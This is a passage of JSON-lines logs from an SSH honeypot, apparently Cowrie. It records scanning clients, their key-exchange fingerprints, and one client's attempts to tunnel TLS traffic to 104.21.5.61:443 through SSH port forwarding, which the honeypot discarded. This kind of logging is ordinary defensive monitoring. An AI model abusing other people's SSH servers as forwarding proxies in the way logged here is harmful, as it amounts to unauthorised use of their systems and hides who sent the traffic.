ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8e@b\\x12\\x9e\\x0e\\x9b7\\xf6s\\xaev\\x97C\\xa1\\x0b\\xd1\\xa3#\\xb2\\xc4*\\xa8W\\x06\\x95}\\xb4\\x11X\\xf0#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd3\\xc6?\\xd9\\xf1\\xff\\xe5OuQ\\x02\\x89V\\xcc\\x0b\\xed\\xcc\\x11En\\x1ay\\x114-:\\x04U\\x8cJP\\xaa ;\\xf7\\x80L\\x18ed\\x0b\\xb8\\x9dV\\xde~\\x17\\xacn\\xb7\\xc1)Fx\\r~a\\xb6u\\x9b\\xf9L \\x91O\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8e@b\\x12\\x9e\\x0e\\x9b7\\xf6s\\xaev\\x97C\\xa1\\x0b\\xd1\\xa3#\\xb2\\xc4*\\xa8W\\x06\\x95}\\xb4\\x11X\\xf0#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.832024Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.837018Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03({\\x87L\\xd7\\x93\\x1b{\\xdby*\\r*\\xb5@\\xb7\\xd5\\xb5L\\xef\\x98\\x1c-\\x8a|yg\\xdbR\\xe9\\xee\\xfa >\\xb9]\\x06\\xbfT|\\xcc\\xe5\\x87\\x85\\x81Z \\xea\\xfcW{x\\x87\\x9a\\xeb\\xe2\\x01s\\n\\xc0\\xc6QM\\x90\\xda\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdd\\x0ez\\xfc\\x7f\\x00\\xe8!\\xb3y\\xa0\\xac\\xa1V\\xb7\\xa2\\xb3\\x0e_\\x0c\\x0c\\x19]6l\\xd3\\xb73B)\\xdf%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03({\\x87L\\xd7\\x93\\x1b{\\xdby*\\r*\\xb5@\\xb7\\xd5\\xb5L\\xef\\x98\\x1c-\\x8a|yg\\xdbR\\xe9\\xee\\xfa >\\xb9]\\x06\\xbfT|\\xcc\\xe5\\x87\\x85\\x81Z \\xea\\xfcW{x\\x87\\x9a\\xeb\\xe2\\x01s\\n\\xc0\\xc6QM\\x90\\xda\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdd\\x0ez\\xfc\\x7f\\x00\\xe8!\\xb3y\\xa0\\xac\\xa1V\\xb7\\xa2\\xb3\\x0e_\\x0c\\x0c\\x19]6l\\xd3\\xb73B)\\xdf%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.841156Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.895135Z","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.948745Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13<\\xf6m]\\x9aQ\\x8d\\x80]p\\\\\\x0c\\x88\\xaaZ\\xbbX\\x08\\xceR\\xb4\\x0fO\\xd2\\xc4_dX\\xbdR\\xc5 \\x10\\x08k\\xd1\\xec(\\xc5\\xd9\\n]T\\x95z\\xe8y\\x80\\x1c0Q=\\xb1\\x90\\xc2*~s\\xd2\\x1fM\\x10\\xd0e\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\tB\\xf6\\x8cl@X\\xcb/\\xfc\\xb5\\x1e_q\\x0b\\x8aub\\x1f:.\\xa4\\xa0\\x98B\\x11lp(aq\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13<\\xf6m]\\x9aQ\\x8d\\x80]p\\\\\\x0c\\x88\\xaaZ\\xbbX\\x08\\xceR\\xb4\\x0fO\\xd2\\xc4_dX\\xbdR\\xc5 \\x10\\x08k\\xd1\\xec(\\xc5\\xd9\\n]T\\x95z\\xe8y\\x80\\x1c0Q=\\xb1\\x90\\xc2*~s\\xd2\\x1fM\\x10\\xd0e\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\tB\\xf6\\x8cl@X\\xcb/\\xfc\\xb5\\x1e_q\\x0b\\x8aub\\x1f:.\\xa4\\xa0\\x98B\\x11lp(aq\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:41.951533Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:42.651042Z","src_ip":"91.92.40.36","session":"0ec04c84f8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:42.674956Z","src_ip":"45.153.34.195","session":"fc860fc5c380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17754,"dst_ip":"159.203.135.109","dst_port":22,"session":"865272ac0dea","protocol":"ssh","message":"New connection: 91.92.40.36:17754 (159.203.135.109:22) [session: 865272ac0dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:42.859674Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36834,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c1e75cc2f82","protocol":"ssh","message":"New connection: 45.153.34.195:36834 (10.17.0.5:22) [session: 9c1e75cc2f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:43.827017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:43.989617Z","src_ip":"45.153.34.195","session":"9c1e75cc2f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:43.993263Z","src_ip":"45.153.34.195","session":"9c1e75cc2f82","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:44.006249Z","src_ip":"91.92.40.36","session":"865272ac0dea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384"